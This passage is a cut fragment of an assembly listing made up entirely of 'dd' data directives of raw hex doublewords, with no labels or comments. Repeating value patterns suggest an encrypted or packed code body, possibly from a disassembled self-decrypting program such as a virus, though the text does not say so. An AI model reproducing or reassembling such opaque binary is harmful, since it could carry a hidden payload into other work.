		dd 0BB19B65Bh, 0D7E4BF1h, 0B956BEh, 75940000h, 0AC521AADh
		dd 18E58B56h, 13713EA7h, 46ECB74Ah, 0EAB210DDh,	0D5A1FF44h
		dd 0AD0BE02Fh, 0BEFA3FE5h, 663296EBh, 87938CC0h, 2FFCA26Eh
		dd 0F20655BEh, 4E271541h, 0D37941DBh, 16B6AC7h,	0D3758DBCh
		dd 53BCD13Eh, 41E7B00Eh, 0E68C5535h, 0B40038CEh, 819F7492h
		dd 11Eh, 576309CFh, 0FA06AC77h,	9EAA501Ah, 3F4BF1BEh, 0E4F0965Fh
		dd 0C089CEE2h, 672E0E1Ah, 9D5B5C1h, 0AF775763h,	9966FD09h
		dd 0FBC8166Ah, 0D0101BD4h, 3D3BAC75h, 555C26B7h, 0D32065CEh
		dd 4EE5DCA4h, 9DEC55DBh, 70E1A989h, 85CEBC91h, 5460C9BEh
		dd 0B55B2785h, 0F004ACE8h, 0A3F3673Fh, 7523EB3Ah, 0DC3A07ADh
		dd 0CB296E14h, 3C045A00h, 958C996h, 2F3D98F5h, 6EA4BBEAh
		dd 194DD138h, 286AC7D5h, 74B92246h, 43C4E038h, 49988752h
		dd 2FD59EFCh, 2BF65423h, 6F114085h, 0C2D501FFh,	99DB0A59h
		dd 0FDD501FFh, 0A3838F35h, 4BAB69DAh, 0BDAC4DD8h, 67698754h
		dd 1F000000h, 4A8FDDF8h, 2278251Bh, 0D6A30CD1h,	0FE0AB078h
		dd 0E3B0561Eh, 6483E8B4h, 4CF86618h, 204FD199h,	97340F60h
		dd 0F3FF68D1h, 0D8A54B13h, 3C3CAD7Ah, 0ED73272Ah, 20410E77h
		dd 99E6083Ch, 3368166Ah, 0FAC51B97h, 0AD168754h, 9238005Eh
		dd 38DEA686h, 104D6Bh, 86030000h, 20760A39h, 6830DB4Fh
		dd 3F8EF7C2h, 0AF75F8C0h, 16DE3C09h, 7945A370h,	0E1A806D3h
		dd 47106E3Bh, 0AD76D4A1h, 0FDC3A07h, 743E9C69h,	0D8A301CEh
		dd 68E86532h, 4679h, 53241C89h,	0C381E389h, 4, 4EB81h
		dd 1C870000h, 4895C24h,	57DD6824h, 14890000h, 6CBF5724h
		dd 4F6CAF10h, 7469BB53h, 0DF013936h, 3E7C15Bh, 0EF814F47h
		dd 28D8D035h, 685FF889h, 40FBh,	83242489h, 5A042404h, 8904EC83h
		dd 428F2404h, 2434FF08h, 4C4835Ah, 582434FFh, 0E904C483h
		dd 0FFFA24B9h, 0B8B8010Eh, 6535A9Dh, 0E0FFC503h, 51BDCF44h
		dd 4260F8Ah, 42303EA9h,	0B13EE853h, 0F532565Dh,	0F501EEACh
		dd 0B1325655h, 0B13256ABh, 0E8BD4FD5h, 0EBE42BEAh, 0B1325675h
		dd 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh
		dd 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132545Dh
		dd 0B63581AEh, 0A9325457h, 0BA3246ABh, 5C3277D5h, 0F93256E8h
		dd 0F9325677h, 0B4F27DB8h, 1832565Dh, 0D46E9980h, 3A543607h
		dd 72B93059h, 0B132C0B4h, 0D31F12EAh, 1F1BE686h, 0BD78AF5h
		dd 0B8DA3636h, 2C3256AEh, 28D2B545h, 0E43E69F5h, 0B7DBCA8Ch
		dd 873256EAh, 733FF242h, 0BFDED669h, 0B13242B4h, 0ABF76AAEh
		dd 57737E1Ch, 0C34F828Ch, 0F4B1616h, 7B073AF5h,	0D053CB4Eh
		dd 4101F429h, 0ADBDB834h, 2C99AC8Bh, 0AE8CC636h, 8AF863C7h
		dd 3BA43748h, 0B134BF11h, 66645675h, 0C2D0FB7Eh, 2D0359C0h
		dd 0B1324547h, 0D46E9957h, 507ABD91h, 0ACC691D3h, 0A8523578h
		dd 64BEE9ABh, 0C64AB03Bh, 0B7DB47ADh, 73256AEh,	0F3BF72E0h
		dd 0E968CBF8h, 0B132453Dh, 0F48EF9EAh, 709A9DEFh, 4C66F1DCh
		dd 48F215AFh, 4DEC990h,	0EFCADD31h, 0C26C6CAh, 8B25567h
		dd 0C49E0914h, 0E9682D7Fh, 0BDDB67B5h, 0F532565Dh, 1C13483h
		dd 6D7DF87Eh, 0EB59EC4Eh, 0EB530E8Dh, 0D132DDB2h, 0B132599Ch
		dd 103AFDBAh, 6C86D19Bh, 681275FCh, 247E29C9h, 428559CBh
		dd 0B13ABF49h, 0F86256EAh, 0B44E393Bh, 69B3DDE0h, 0C31CE37Bh
		dd 0B1325A47h, 38F4257h, 4F8BD6A8h, 0BB47FA8Ah,	0D053CB91h
		dd 0B51612FCh, 0E36204EAh, 0B13258B4h, 6D7DF8AEh, 7959ECB2h
		dd 0C575D0CAh, 0BED14448h, 0EB5336DBh, 0E103592Dh, 0B134BFE8h
		dd 8604565Dh, 62F05B0Ah, 0A5DB6758h, 8D3256ABh,	99794C10h
		dd 6515B0ABh, 0F1F12408h, 0DD2DE8C3h, 0EB099C68h, 0E96A0CF6h
		dd 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h
		dd 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh
		dd 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh
		dd 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh
		dd 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h
		dd 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh
		dd 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h
		dd 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh
		dd 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h
		dd 0B13256BAh, 0B132565Dh, 0B13256AEh
		dd 0B1325657h, 0B13256ABh, 0B13256D5h, 0B1DA36EAh, 0EB325675h
		dd 0ECD3BC3Bh, 34BF500Eh, 0B760F681h, 0EA05D4DEh, 33BF50F8h
		dd 0B761B146h, 0EA09D463h, 0FFDA5026h, 593256B3h, 0B1325626h
		dd 0EA15D469h, 0B1325004h, 776056ABh, 0FC14B350h, 0E35A00ECh
		dd 4EAEFECDh, 0FC397F0Fh, 66B7DB5Bh, 4E3406DBh,	2CB7DF87h
		dd 0DB341BA8h, 0A1323ED1h, 0F15A56EAh, 0DB325578h, 0EBE2A9BAh
		dd 82469656h, 0EA15D427h, 33BB5004h, 0B7610D80h, 0B23F166Ch
		dd 82CADDEAh, 0E398A5B5h, 0B15A52D0h, 0D932564Dh, 0B13252AEh
		dd 23CD563Dh, 0B77F5536h, 0CAB0DF8Fh, 0D03405B1h, 0EA15D3FEh
		dd 0D1F150E9h, 0BE87D49Ah, 0B13250E3h, 33F55617h, 0B77F5542h
		dd 0B13246D5h, 3A52958Bh, 0E26971CFh, 0B10DD5BCh, 0CEB17529h
		dd 0BA4654BEh, 0B52229D4h, 76B158DFh, 76D8BDC1h, 0B13346ADh
		dd 43D95675h, 0B222117Dh, 5A32565Dh, 0E4F13747h, 5952BADCh
		dd 0B13256ABh, 67D8D78Fh, 3A3405B4h, 0E26929C7h, 0B977DDBCh
		dd 33B150D4h, 0B7610DD1h, 73FB3753h, 595256AFh,	0B13256D5h
		dd 4BD8D7B0h, 3A34052Bh, 0E2692D08h, 0CE806D5Bh, 0C53405F5h
		dd 3A0CDD6Ch, 0FE845974h, 0B075A0D4h, 0B236236Ah, 9A30BDACh
		dd 3A711563h, 0FC17F7D8h, 0D8BFDDA8h, 8A341B5Ah, 8A3B2473h
		dd 3237210Ch, 78D9522Ch, 0B946994Eh, 0BC5BEB33h, 6D95010h
		dd 595295CFh, 0B1325657h, 0E3D8D7F1h, 3A34058Ah, 0E2692D50h
		dd 0B032EF73h, 710156BAh, 33B9FDAEh, 0B7610DD5h, 0EA4DD4DEh
		dd 725350F8h, 0B132BEB5h, 306856EAh, 0E26D2A9Fh, 54B790BCh
		dd 0E7341B7Bh, 0AE5F6FC6h, 9887A983h, 3C341BA0h, 0E1478150h
		dd 0E3E2A9ECh, 31323E25h, 0B15856BAh, 0EA15E4A2h, 61CD50FDh
		dd 0B15A0C0Fh, 0DB32562Bh, 0CA80A9D5h, 4E3405B1h, 0E4F137A5h
		dd 5952BA31h, 0B132565Dh, 7BD8D7F4h, 3A340508h,	29DA5EDEh
		dd 0E43256D7h, 0EA05C415h, 8A6F5026h, 5F475ACFh, 0B130D0B5h
		dd 73FB37AEh, 3A67565Fh, 4DF6D547h, 59610183h, 0B13256EAh
		dd 4FD8D72Fh, 3A3405E5h, 0CCB95E28h, 596401BEh,	0B1325660h
		dd 904696A0h, 4E67AE5Eh, 0E2696178h, 0C4090B73h, 0D72022B6h
		dd 56B248D6h, 312CDC5Eh, 2CDAA6B4h, 5A3256ADh, 4D4FDF01h
		dd 4ECC0B02h, 0EF6D0D8Ah, 78CE1331h, 0E4325A9Fh, 75B1BA25h
		dd 0E06401AFh, 497791F8h, 0B13256D5h, 0EA55D42Dh, 0B1335026h
		dd 0C4B956BAh, 0AFB93055h, 0EA15EC25h, 0EEB95004h, 0C5E95DA3h
		dd 0C4EC6DDAh, 0BD6FDDECh, 323E09FCh, 5BD9427Dh, 312CDD3Bh
		dd 353DBE55h, 0B1325699h, 0BEDBAD2Bh, 0B1329351h, 5AC9D6EAh
		dd 0B18ED27Ah, 4AB256BAh, 1DB659BFh, 313256AEh,	353DB5ACh
		dd 0B1325631h, 0D6C9D7B3h, 29B65909h, 31325675h, 3054A65Dh
		dd 0BEB259A6h, 0B132C72Ah, 41D1D657h, 0BE42AD2Bh, 0B132D351h
		dd 0AFB930EAh, 31CAB5F5h, 0F346EE41h, 0C53768DDh, 9C0CD693h
		dd 8FB26E23h, 4E0122C3h, 0E2693157h, 0AFB930ECh, 0D7CAB1F5h
		dd 59B3AD3Bh, 3A547629h, 41D5D6B0h, 30C9D731h, 0D121226Bh
		dd 86A0A980h, 0EC3405B1h, 0D0CE13FCh, 0B0CE2B39h, 0BB93528h
		dd 0B77F591Bh, 0D6B0DD07h, 883405F0h, 0C36A66E9h, 5888DDBAh
		dd 0E1341B76h, 0EA55D431h, 8D0B500Eh, 8C4D0E9Eh, 0F4F546BCh
		dd 0B1325453h, 7635BDD5h, 0B133AEAFh, 0BB95675h, 0B7610D9Dh
		dd 6A3949D6h, 6F0949DAh, 0ECB95922h, 494FD5A7h,	0B23122D5h
		dd 0EEBBAEB7h, 0A5F5D571h, 7101B451h, 0B13296B4h, 0AFB930AEh
		dd 313E2BDCh, 0BB46BD50h, 31C2B555h, 0A7462611h, 0B6F4649Eh
		dd 0B0759153h, 0B132565Dh, 71B19125h, 0B1A5BF52h, 765456ABh
		dd 3B3A59D2h, 0BED1D6F4h, 39B29DF5h, 0F6F557E5h, 0B132565Fh
		dd 32F5DDAEh, 0C8D95097h, 210CD7CDh, 313D2245h,	0BF47C6D4h
		dd 4E4CD713h, 0B346C62Ah, 76B952B6h, 33BF0945h,	0B7610DD4h
		dd 23CD00FBh, 0B7610DEEh, 0BB4696E1h, 3BF9EFEh,	0B7610D39h
		dd 3A6446B6h, 23CD0360h, 0B7610D60h, 46FC7DF6h,	0CCB1080Ch
		dd 0A1475712h, 0D7981FC5h, 0D7B75902h, 0F78459F6h, 0AAD9FDAFh
		dd 0B3CA2BD4h, 95445DEh, 1A549FDEh, 353DEE8Ch, 73DFD13h
		dd 5A9957FCh, 3A96A55Fh, 0EF6B0D69h, 0B9F09F08h, 5DB903ABh
		dd 0B132BEB5h, 306856EAh, 0E2500A9Fh, 0B977DDBCh, 0EA1DD4D4h
		dd 785350FDh, 0E4325295h, 75B1BA20h, 0B1DA362Dh, 0EB3256EAh
		dd 0D34FBCF4h, 0F4F550E9h, 0B13256A5h, 4D7791AEh, 0B1325657h
		dd 3A549698h, 0D6B091CBh, 0B03405B1h, 0D7325675h, 21A2AD3Bh
		dd 4AB25628h, 0B9B65946h, 0F1325656h, 0BEDBAD2Bh, 0B132A851h
		dd 4AB216EAh, 45B6599Eh, 0F13256BAh, 0D7C2B1DDh, 313DAD2Fh
		dd 0B1D7D258h, 333156ABh, 0B77F566Ch, 53C9D6AAh, 0B1FCD27Ah
		dd 4AB256BAh, 0DB659BEh, 0D73256AEh, 5255ADD6h,	0B188D2A4h
		dd 52B256D5h, 0C1C9D61Ah, 0B187D27Ah, 3A5456BAh, 49D1D643h
		dd 0C58AAD2Eh, 0B40CD610h, 8FB214DFh, 310F22F8h, 89463ED4h
		dd 0D6B0A935h, 0D73405E1h, 56B248D6h, 4AB33056h, 9546BED6h
		dd 312CDDCDh, 3054A632h, 0C5F2D711h, 4E673662h,	0E2696128h
		dd 0F4BB0B5Bh, 0CCB13752h, 343D57ABh, 0B1325783h, 0BE87EC5Eh
		dd 3A6250A7h, 0E26931F7h, 810E6FBCh, 0A0B05905h, 3A3256AFh
		dd 0FC31BFEDh, 33B906ADh, 0B7610DB2h, 0E9026AD3h, 0B1C8D97Ah
		dd 0BB956BAh, 0B7610D76h, 0EA19D42Dh, 38265004h, 0A175DF9Ch
		dd 0D6B0DD85h, 3A3405B1h, 386A6669h, 64DB5EE5h,	7632565Dh
		dd 0B130AEEBh, 0B6D95657h, 0B0CA136Ch, 3A3256D5h, 0E2697D50h
		dd 9AB0D573h, 0A53405E1h, 0F6BB61D4h, 0B2CAD5BEh, 33F55A22h
		dd 0B7610DCCh, 0B13256D7h, 49B15301h, 326D2B77h, 0C532AEC7h
		dd 0F7845946h, 0B1B2FFAFh, 0B7475657h, 0B4DAD5EBh, 4E1F5E3Eh
		dd 323256EAh, 0BAD9539Dh, 0D6A8DDE9h, 3A340506h, 186965AAh
		dd 31325657h, 773142DEh, 0B2379656h, 0E2693168h, 0F6BB1E73h
		dd 0BD75DFB2h, 69C500B6h, 69C59085h, 0B23796D4h, 0E2693129h
		dd 0F6BB1ED3h, 0BD75DFE2h, 7101689Eh, 19331030h, 0B21323DDh
		dd 0B3F2D568h, 0B13257ECh, 0C5E95DABh, 5A8DCDCh, 31340449h
		dd 72315796h, 383A1133h, 0A5D95A1Ah, 4E178E59h,	9A325657h
		dd 32EAA16Dh, 0F6BB5415h, 0BD75DFE2h, 72FB378Dh, 32DEDDEFh
		dd 5952AA99h, 0B13256AEh, 3FD8D70Dh, 3A3405CFh,	0E269716Fh
		dd 32FB65ECh, 353D564Ah, 0B1325678h, 0C4CD51D6h, 0B947A9A2h
		dd 0B041BE07h, 0B44156ABh, 5A269156h, 4D77DF08h, 4E3E238Ah
		dd 86CD5ECFh, 0B1330AB5h, 26B059AEh, 3A325657h,	0B60BAAEEh
		dd 0B1BED4DAh, 0F4CD56EAh, 0B54DD589h, 323A22BAh, 0C5325A22h
		dd 93CBDACh, 4ECDA9A8h,	0B1325312h, 5A99A5D5h, 0A14DD529h
		dd 323D2270h, 0C43446C5h, 0F6B9174Ch, 0BD6DDDAAh, 0F6B915BCh
		dd 0BD6DDDAFh, 0F6B96F3Eh, 0BD6DDDEEh, 0C43A094Eh, 0E6B904AFh
		dd 0A1677D59h, 3A2603ADh, 6B195A08h, 0EB37BD28h, 0F6B9443Eh
		dd 0BD6DDDEEh, 3236095Eh, 3B315351h, 0B77F4454h, 0B222292Dh
		dd 9A735722h, 0B06EDF72h, 4ECDEED4h, 0B48BA915h, 42325675h
		dd 4E64BF11h, 7853A9A2h, 0E432466Ch, 75B1BADCh,	0B1DA3657h
		dd 0EB3256D5h, 0D44BBC6Bh, 0BB95026h, 0B7610D9Dh, 8EB19F6Eh
		dd 20B659AEh, 3A325657h, 0BD47A9ACh, 0E13A232Ah, 0B132DE02h
		dd 32372575h, 53D9427Dh, 4ECE13D4h, 0C4CD5ADBh,	5905A95Fh
		dd 0B13256DAh, 0F4B93CA7h, 0C3356F16h, 4D77A916h, 0B1362939h
		dd 0CEB15E29h, 0B34656A2h
		dd 4E8A58BCh, 8CDA954h,	0B13256D0h, 7AD9FD19h, 0B42229F6h
		dd 0CEB159CEh, 0A047504Dh, 0B575DDEFh, 5A3E09DCh, 0B575DDB6h
		dd 5A3E095Eh, 0B575DDF9h, 9A3E09FEh, 5AB152E5h,	0A14DD558h
		dd 0F03323ADh, 0EDBB8F7Ch, 4E8A57AAh, 8CDA92Ah,	0B13256EFh
		dd 36D9FD86h, 0B9F09FDBh, 5DB9035Dh, 0B977DDCEh, 0C33E136Ch
		dd 0A1776DA3h, 5ACA55A2h, 0B1D9AFE9h, 0BDF09F14h, 5DB903BAh
		dd 0D1CE92DEh, 0B1325646h, 5BB30C57h, 0B76130E4h, 6A019FE6h
		dd 3ACE0B63h, 0E26971CFh, 0B10DD5BCh, 8EB13229h, 32372351h
		dd 40D94290h, 0B1362928h, 0CEB15EA1h, 0B34656E6h, 0F4CD5E9Eh
		dd 0A5F5D546h, 0CEB18DB6h, 0BE4653BEh, 0B72229D4h, 3A7347DEh
		dd 0EEB95292h, 3A2FBDE6h, 0EEB95232h, 3A21BDB6h, 0EEB9521Ah
		dd 0B56D7DA2h, 3237BDD4h, 0C43146D4h, 681917D4h, 0B0330A63h
		dd 4ECDA9CDh, 0B137EF45h, 1AC1565Dh, 3A53C145h,	72FBAA12h
		dd 596107FBh, 0B13256D5h, 6BD8D7B0h, 3C340513h,	0E2696920h
		dd 0B156EE5Bh, 63DA56AEh, 3A325657h, 5AF36DA0h,	0B57955C1h
		dd 0A64097D1h, 8A221D76h, 5A30247Bh, 5A26BD5Fh,	96A8DBBCh
		dd 4E340582h, 3C3ABD78h, 0E2EA1B4Fh, 0EAE1A9ECh, 0E4F10E2Ch
		dd 0B1DABA31h, 0EB32565Dh, 0D61BBC2Fh, 3C525004h, 0E2696911h
		dd 0B977DDD3h, 0F4B95163h, 0B575DF79h, 38221331h, 0F4B95A1Ah
		dd 0A175DFBAh, 0A1F09F36h, 34F436ABh, 0B77F7030h, 0C2283EADh
		dd 4CDFE62h, 0B77F5D93h, 0C4E5D3D0h, 61CD50FEh,	0DAB8DB05h
		dd 0E03405F0h, 3C68862Ah, 0E2693D68h, 0F1855973h, 0E3EADDB6h
		dd 0B2686752h, 40B0DF6Dh, 0D0341B76h, 0E85251C3h, 0
		dd 9AEA815Ah, 52065367h, 21F1828Bh, 6DB9064Dh, 0F741C64Eh
		dd 39055AE1h, 25000030h, 7FFFFFFFh, 21F18289h, 595A064Dh
		dd 0E85251C3h, 0
		dd 0CAEA815Ah, 8B065367h, 0FFBBE8C8h, 0D233FFFFh, 0C28BF1F7h
		dd 8BC3595Ah, 8DC08BC0h, 535DDB85h, 66D0FF06h, 858DC18Bh
		dd 6536793h, 0EC18589h,	858D064Dh, 65367C3h, 29198589h
		dd 0B8064Dh, 0B000000h,	47840FC0h, 0C6000000h, 4D26E585h
		dd 0DF685606h, 0FFA9C530h, 4D0B29B5h, 0D7858D06h, 0FF065075h
		dd 8D8D50D0h, 64D2B81h,	68046A51h, 1000h, 2A11B5FFh, 0D0FF064Dh
		dd 2A11BD8Bh, 7F03064Dh, 0F8C7813Ch, 0C7000000h, 202447h
		dd 9D8D6000h, 64D22D9h,	0C00B038Bh, 5840Fh, 8B0000h, 0B9044389h
		dd 234CF6h, 69098D8Dh, 8D0F0653h, 6, 13C19D01h,	958B064Dh
		dd 64D26A9h, 5998D89h, 8166064Dh, 0C7329DE0h, 4D051D85h
		dd 748806h, 0AE900h, 0D71B0000h, 53499F02h, 62C745FDh
		dd 2E985C7h, 64Dh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 0FFCACDC3h, 319589EAh
		dd 0FF064D25h, 4D3229B5h, 719D8B06h, 0F064D12h,	95FFC3BFh
		dd 64D2E55h, 2F2D8D09h,	0B503064Dh, 64D2FB5h, 95FF006Ah
		dd 64D0511h, 0AEBC08Bh,	0CDADD806h, 2B4C1A1Ch, 8D8DB466h
		dd 6536977h, 88F0Fh, 8B560000h,	4D0C419Dh, 8D895E06h, 64D0599h
		dd 0E7C4BFB8h, 1D85C725h, 2C064D05h, 8B000064h,	0E985C7F8h
		dd 64D02h, 66000000h, 0AE11E381h, 2D19B5FFh, 6E8064Dh
		dd 0A5000000h, 5B8A8E19h, 2D1DBF9Bh, 0FF5A665Eh, 4D2E5595h
		dd 6AF806h, 51195FFh, 0C08B064Dh, 7F2C79EBh, 5F68FBCFh
		dd 0F8CFE6E6h, 7BE68ABBh, 3ADAB403h, 0CEB371AEh, 11BA2114h
		dd 530D148Ah, 6E8409A1h, 5B9030BCh, 9156D889h, 550F9F58h
		dd 18313D48h, 0B6722024h, 0C95D75AEh, 0D16C54F2h, 0A967A53Fh
		dd 59774B10h, 0B9CDF8E1h, 0A768F324h, 86042BDAh, 88F5B82Ah
		dd 1E72D8F5h, 466B0561h, 0AAF878F8h, 22369F09h,	6A323DFBh
		dd 27645503h, 0D11BBF69h, 4DF6FACCh, 0E8C8FA46h, 10h, 36905507h
		dd 6F8603EDh, 0A91FF9FFh, 0D1C6C5F8h, 0B6C1C281h, 0F55F2D66h
		dd 5FC7C781h, 81660000h, 68CA71E0h, 17C8h, 12E951h, 0C9C50000h
		dd 0B7DE6D0Ah, 772C5Ah,	0BDA6AD13h, 0F73E9F81h,	0DC805B5Ah
		dd 0F80F8B31h, 1EE6C181h, 85234B7Ah, 64D26E9h, 371CE981h
		dd 0B58B3188h, 64D0E75h, 805E981h, 0E6816420h, 5900061Ch
		dd 0E58A0F89h, 8904EF83h, 4D1F818Dh, 850F4B06h,	0Fh, 5C5E17BEh
		dd 21E93Ah, 0A5850000h,	89028BB5h, 4D1E158Dh, 0FFABE906h
		dd 0D5E6FFFFh, 95D43F3Ah, 0F09F7377h, 0C29D5CB6h, 0E8294BD2h
		dd 8, 0FD6C201Eh, 5FAF1EB8h, 8ACA8050h,	12E8595Fh, 0F8000000h
		dd 9CD4A839h, 7DCA1BC2h, 4EB9F724h, 389AC313h, 0C9BD8B13h
		dd 5F064D25h, 6CCBC181h, 8E90000h, 3F000000h, 0C5DD6E47h
		dd 0BEF706A9h, 24BA0A8Fh, 1075F681h, 958B24BAh,	64D331Dh
		dd 800F31FFh, 6, 358509h, 0B85B064Dh, 51E44320h, 78DBEB81h
		dd 0D2815E29h, 22EAC9C6h, 0A64CC381h, 952B213Eh, 64D2D11h
		dd 0A73AEB81h, 19895CADh, 2759858Bh, 0E983064Dh, 0EE903h
		dd 48470000h, 0D4A6D23Fh, 8A7923C2h, 0F62C5CCh,	1B58949h
		dd 81064D23h, 1EEh, 1D850F00h, 8B000000h, 4D1F2195h, 29E906h
		dd 0B7DE0000h, 772C5Ah,	0BDA6AD13h, 0F73E9F81h,	0A7B85C23h
		dd 0E58D2960h, 80064D23h, 0E9617CC8h, 0FFFFFF70h, 0FB4ED10Dh
		dd 0EBBDC699h, 8, 6FC15C00h, 508E91Ch, 0CA680000h, 0E906536Ch
		dd 0FFFA1419h, 536D6868h, 140FE906h, 0C168FFFAh, 0E906536Eh
		dd 0FFFA1405h, 0BBC76D33h, 5E6A10DBh, 20EB47Eh,	0A3AF5522h
		dd 4854FAC3h, 24EDA246h, 0CB92727Eh, 6D391925h,	13DBBBC7h
		dd 0FDCA616Dh, 0FBB5B2CEh, 0AF747FD4h, 0B54D3362h, 7BE4D4FBh
		dd 0AC75642Ch, 13DB3906h, 410EB480h, 8AE7AD0h, 9F36939Fh
		dd 3E4C88CDh, 3431414Dh, 0E3D8AD9h, 0D137B2FDh,	0EF1EEB54h
		dd 0D5019A85h, 2CD78DFBh, 0B65BC41Ah, 35AC1h, 0F12D7A00h
		dd 213FA500h, 0DAA6CD2Fh, 57D501A7h, 67AA9EEh, 2BD501A8h
		dd 86AB73C2h, 6BBA6028h, 676E5D8Ah, 0CE91C005h,	0A9D13847h
		dd 4A73156Dh, 67B68974h, 99E62B94h, 0EA93555Dh,	769DF191h
		dd 0D501820Ah, 1F6FBE27h, 245C8BD8h, 0DD50182h,	7B48EEB7h
		dd 814BA10Ah, 8E5D8CDBh, 7BD883E9h, 9ECD125Ah, 0CD853185h
		dd 6B46137Ch, 0A64C156Ah, 7CABF83Dh, 0D14F0804h, 2875C42Dh
		dd 384085F9h, 0FE43ACC7h, 2632D8A0h, 1FEB7E46h,	0D23BAC79h
		dd 0A99E95BAh, 2E4C2184h, 33Ch,	0C7D3793Fh, 6A761CE7h
		dd 0E1AC08Ah, 0AFBB612Eh, 546006CFh, 30F95E52h,	0D79E7E8Ah
		dd 79452531h, 1FE7C7D3h, 9D66D79h, 0FBB4A6DAh, 40808BD4h
		dd 0BB612886h, 4C44916Ch, 4F20631Dh, 0EECE65DBh, 0C1312975h
		dd 0DF248DF6h, 0C46A3492h, 83786F7h, 0D1231809h, 4D9ADF48h
		dd 318026EFh, 59880AD3h, 0D4FB4027h, 7E4BA10Ah,	83636FD8h
		dd 82CF14BAh, 0FB402D53h, 4C9B04D4h, 0A1DD2A77h, 2C3DF406h
		dd 0C9B7DE0Fh, 68D4FBA1h, 0F481B0FFh, 0A2D4FBA1h, 0CD1C34DAh
		dd 7992B7B2h, 29E86A4h,	17DD0000h, 0BA856571h, 5E280814h
		dd 0FFCCACB8h, 0A46D4D59h, 0F8F0F2FEh, 1C28CE97h, 0C3CF753Ch
		dd 657117E3h, 0B17BD85h, 878A774h, 29D4FBB4h, 0DDF8DE1Eh
		dd 0DF4164C4h, 0C22B6EBFh, 0AD2307Dh, 0D7269764h, 234E69A8h
		dd 0B27FE8D1h, 0FB76F183h, 23218FD4h, 4594AEB8h, 1C54DB6h
		dd 758B0000h, 0AA7D3CADh, 82D588E2h, 26EE4C19h,	69A57480h
		dd 99884CDBh, 0AB418671h, 0B520D90Dh, 0F5E0BB0Ah, 0C8033277h
		dd 89D1374Bh, 50245320h, 46D50113h, 0AD0BD87Eh,	4E6F3CE2h
		dd 88F4FA6Ah, 97AF2A1Ah, 44B65833h, 3Fh, 8FDDF882h, 20681B4Ah
		dd 15FD138h, 7245943Ah,	5B83043Eh, 14D38DB0h, 5CC2F2Ch
		dd 0D8A3F962h, 4884C932h, 0C1545CCFh, 5DA2955h,	1E69ED6h
		dd 0F074E2D5h, 5B787D05h, 0BD9AB6h, 75D80000h, 75C207ADh
		dd 4F203A46h, 3F8EF7DBh, 0A1D01D6Ah, 0DB4F20DFh, 3C9AE952h
		dd 0A200CD73h, 96734DAh, 0DE8F9B41h, 0DB4F2578h, 21C791EFh
		dd 3694E354h, 2583C86Eh, 53F9C659h, 5DAC1DEAh, 83E9EC49h
		dd 0D0F30F3Eh, 0A3ED13Fh, 0B746643Dh, 0C50A734Ch, 0ABFAA067h
		dd 0A437005Eh, 572958DAh, 0DAD4FFBCh, 939F0871h, 2C44EAB3h
		dd 92ABA9D3h, 458CAA7Fh, 36000001h, 0DEBECA70h,	81616D13h
		dd 250511B7h, 0C6A6B258h, 494B57FDh, 8329F2A7h,	2AD09777h
		dd 0CC723E1Eh, 7218E0C0h, 0D302CF66h, 0D4FBB2ADh, 86397984h
		dd 0EDBA6028h, 6CF2D7Ch, 3805AB73h, 690FDAh, 0E3AB8B97h
		dd 75E7313Dh, 75C207ADh, 4F203A46h, 3F8EF7DBh, 9E440C6Ah
		dd 8B31FB59h, 20691746h, 5FC8DB4Fh, 369FFC10h, 0C993F136h
		dd 5887D423h, 0D1386F07h, 0F9CD3470h, 8BFFF492h, 5EC4FDBBh
		dd 0D4238CAFh, 6539801h, 854CDFA8h, 0C92776DFh,	9D4E5A00h
		dd 0D50129D7h, 4AA72D0h, 29F090BFh, 0D841D501h,	0BD632B89h
		dd 6208D1B1h, 23EA4895h, 0F03FB07Dh, 8BD2h, 87B60300h
		dd 0D50129F9h, 723DE3ADh, 0F8F2BA09h, 0FD4A8FDDh, 20FF81B0h
		dd 0C932DB4Fh, 212B5584h, 9D06DB4Fh, 8CEE1F4Eh,	0FA63D123h
		dd 6107CF2Dh, 3CAD7555h, 5F52D3EDh, 7542ABFDh, 0B5290D46h
		dd 84E23136h, 0D64714BAh, 0B6291B87h, 6D3C48EEh
		dd 4F9E440Fh, 0B68329F1h, 18E58B58h, 0AE5113F7h, 0AEFB40E6h
		dd 0BEC6017Fh, 78C730BAh, 3599564h, 641A203Dh, 9B63C110h
		dd 3463B0F5h, 0BABEF44Ch, 582D7CE5h, 33Ah, 8C54F000h, 3C09AF75h
		dd 0A37016DEh, 6D37945h, 6E3BE1A8h, 0D4A14710h,	3A07AD76h
		dd 9C690FDCh, 1CE743Eh,	6532D8A3h, 585450E8h, 405h, 4E88300h
		dd 5C240487h, 784168h, 24048900h, 81E18951h, 4C1h, 4E98300h
		dd 5C240C87h, 51241C89h, 512240B9h, 8DFEB839h, 0C8293FA4h
		dd 81240C8Bh, 4C4h, 1C8B5400h, 4C48324h, 24048150h, 54E713CEh
		dd 5108438Fh, 0E713CEB9h, 84B2954h, 2434FF59h, 4C4835Bh
		dd 582434FFh, 0E904C483h, 0FFFA0F29h, 2E42EFFCh, 96952D5Ah
		dd 57558C73h, 2BB8CEBEh, 3065370h, 0E0E0FFC5h, 7419AEADh
		dd 8902C7ADh, 8D05C99Ch, 53717F8Dh, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 3580A040h
		dd 0C7F1B836h, 0E781666Eh, 0B58B1744h, 64D26A9h, 5998D89h
		dd 0B70F064Dh, 1D85C7F8h, 6C064D05h, 2900005Ah,	4D0C518Dh
		dd 95BD8B06h, 0C7064D2Ch, 4D02E985h, 6,	0BD896000h, 64D0501h
		dd 11E9h, 0D7C1ED00h, 0BD501A18h, 0D1C1DF1Bh, 6FD0733Ah
